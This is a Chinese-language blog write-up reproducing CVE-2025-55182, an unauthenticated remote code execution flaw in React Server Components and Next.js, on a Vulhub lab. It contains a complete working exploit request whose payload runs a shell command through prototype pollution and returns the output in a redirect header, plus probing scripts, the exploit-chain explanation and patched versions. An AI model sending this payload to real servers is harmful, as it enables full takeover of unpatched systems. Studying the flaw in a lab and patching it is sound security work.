1617 字
8 分钟
React2Shell 远程代码执行漏洞(CVE-2025-55182)复现

CVE-2025-55182 是 React Server Components 传输协议(Flight)反序列化引入的未授权远程代码执行漏洞,CVSS 10.0,影响 React 19.0.0、19.1.0、19.1.1、19.2.0 以及使用 App Router 的 Next.js 15.x、16.x。攻击者构造包含自引用占位符($@0)的 multipart 报文,诱导 React 反序列化引擎恢复恶意对象,经原型链污染取得全局 Function 构造函数,在服务端执行任意命令,命令输出通过重定向响应头回显。

复现基于 Vulhub 的 react/CVE-2025-55182 靶场(Next.js 15.5.6),覆盖指纹识别、原型链污染验证、命令回显三个阶段,并拆解 Flight 协议对象恢复机制中的利用链条。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2025-5518210.0React 19.0.0、19.1.0、19.1.1、19.2.0(react-server-dom-webpack、react-server-dom-parcel 对应版本);Next.js 15.x、16.x(App Router)远程代码执行(RCE)

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境:

Terminal window
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/react/CVE-2025-55182
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
aade3a95dd4c vulhub/nextjs:15.5.6 "docker-entrypoint.s…" 3 minutes ago Up 3 minutes 0.0.0.0:3000->3000/tcp, :::3000->3000/tcp cve-2025-55182-web-1

环境启动后访问 http://192.168.31.148:3000/,可以看到程序正常运行。

Vulhub 靶机 Next.js 应用首页

端口扫描与服务识别#

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| DNSVersionBindReqTCP, Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 200 OK
| Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
| x-nextjs-cache: HIT
...(此处省略部分响应头)
| X-Powered-By: Next.js
...(此处省略部分响应头)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...(此处省略指纹详情)
MAC Address: 00:0C:29:B3:23:74 (VMware)

从 Nmap 扫描结果来看,目标环境几乎可以确定就是 CVE-2025-55182(React2Shell) 的典型靶机环境。

扫描结果中的几个关键指纹已经确认了目标:

  • 服务:X-Powered-By: Next.js,运行在端口 3000。
  • 关键响应头:Vary: rsc, next-router-state-tree... 这是 Next.js 15+ 使用 React Server Components(RSC) 的典型特征。
  • 缓存特征:x-nextjs-cache: HIT,说明应用处于生产模式或高级缓存模式,符合该漏洞触发的上下文。

确认漏洞指纹#

使用 curl 尝试获取一个 RSC 数据包,观察服务器是否处理:

Terminal window
┌──(kali㉿kali)-[~]
└─$ curl -H "RSC: 1" -H "Next-Router-State-Tree: 1" http://192.168.31.148:3000/ -i
HTTP/1.1 200 OK
...(其余响应头省略)
1:"$Sreact.fragment"
2:I[9766,[],""]
3:I[8924,[],""]
a:I[7150,[],""]
...(其余 Flight 数据省略)

返回内容包含大量的 1:I{...} 这种 Flight 协议格式的数据,说明 RSC 解析逻辑开启,漏洞利用基础存在。

漏洞验证#

先触发一个原型链污染导致的 500 错误,验证反序列化逻辑是否会被外部输入干扰。使用 Python 发送一个带有恶意序列化对象的 POST 请求:

import requests
url = "http://192.168.31.148:3000/"
headers = {
"Next-Action": "12345", # 随意填写的 Action ID
"Content-Type": "multipart/form-data; boundary=----ExploitBoundary"
}
# 构造恶意 Flight 协议数据块,尝试污染 then 属性
data = (
"------ExploitBoundary\r\n"
'Content-Disposition: form-data; name="1"\r\n\r\n'
'{"$@1": {"then": "polluted"}}\r\n'
"------ExploitBoundary--\r\n"
)
r = requests.post(url, headers=headers, data=data)
print(f"Status Code: {r.status_code}")

运行结果:

Terminal window
┌──(kali㉿kali)-[~]
└─$ python3 verify.py
Status Code: 500

服务器返回 500,说明反序列化逻辑被成功干扰。

漏洞利用#

在验证的基础上构造完整利用报文,使用 Burp Suite 发送如下数据包(各字段的构造原理见下文“漏洞核心原理”一节):

POST / HTTP/1.1
Host: 192.168.31.148:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 758
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

发送请求后,id 命令的执行结果出现在响应头 x-action-redirect 中:

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push

靶机容器内 Next.js 进程以 root 身份运行,因此 id 返回 uid=0(root);实际利用时能执行的命令权限取决于目标进程的运行身份。

Burp Suite 中 x-action-redirect 响应头回显 id 命令结果

漏洞核心原理#

CVE-2025-55182 的核心在于 React Server Components(RSC)传输协议(Flight 协议)在对象恢复阶段的安全校验逻辑存在缺陷。

Flight 协议为了实现复杂对象的序列化,支持一种基于索引的引用机制。攻击者通过构造多段 multipart/form-data 报文,在首个数据段中定义一个带有恶意属性的 JSON 对象,并在后续数据段中使用 $@0 这种“自引用”占位符。这种操作会强制 React 的反序列化引擎在未经过滤的情况下重新恢复(Revive)处于内存中的首个对象。

利用的关键在于伪造对象的内部状态。通过注入 status: "resolved_model",攻击者使 React 解析器按“已解析”状态处理该对象,从而访问其内部属性 _response。

此时,攻击者通过特定的引用路径实现原型链污染(Prototype Pollution)。Payload 利用 __proto__ 将对象的 then 属性重定向,使得当 React 尝试异步处理这个伪造模型时,会自动触发这个被劫持的属性。与此同时,利用 _formData 字段下的 get 属性,通过 constructor:constructor 这种递归引用,攻击者可以在内存中定位并获取 Node.js 环境下的全局 Function 构造函数。

最终的执行阶段依赖于 _response 对象中的 _prefix 字段。由于之前的引用链已经取得 Function 构造函数,_prefix 中存储的攻击字符串(如系统命令执行代码)会被直接作为函数体构造并执行。由于整个过程发生在服务器端的反序列化上下文中,攻击者无需任何身份验证即可实现远程代码执行。

命令回显的通道同样由 payload 构造:_prefix 中的代码把命令结果拼进一个伪造的 NEXT_REDIRECT 错误的 digest 字段(NEXT_REDIRECT;push;/login?a=${res};307;)。Next.js 处理 Server Action 时会把这类错误转换为重定向,重定向地址写入响应头 x-action-redirect,命令输出由此回显。

修复方案#

官方已发布修复版本,按当前使用的版本线升级:

  • React:19.0.1、19.1.2、19.2.1
  • Next.js:15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7(canary:15.6.0-canary.58、16.1.0-canary.12 及之后)

适用范围:应用不使用服务端渲染,或不使用支持 React Server Components 的框架/打包器,则不受此漏洞影响。本文靶机使用的 Next.js 15.5.6 属于 15.5.x 受影响版本,对应修复版本为 15.5.7。

参考链接#

React2Shell 远程代码执行漏洞(CVE-2025-55182)复现
https://blog.mal-suen.cn/posts/2026/03/196/
作者
Malcolm
发布于
2026-03-18
许可协议
CC BY-NC-SA 4.0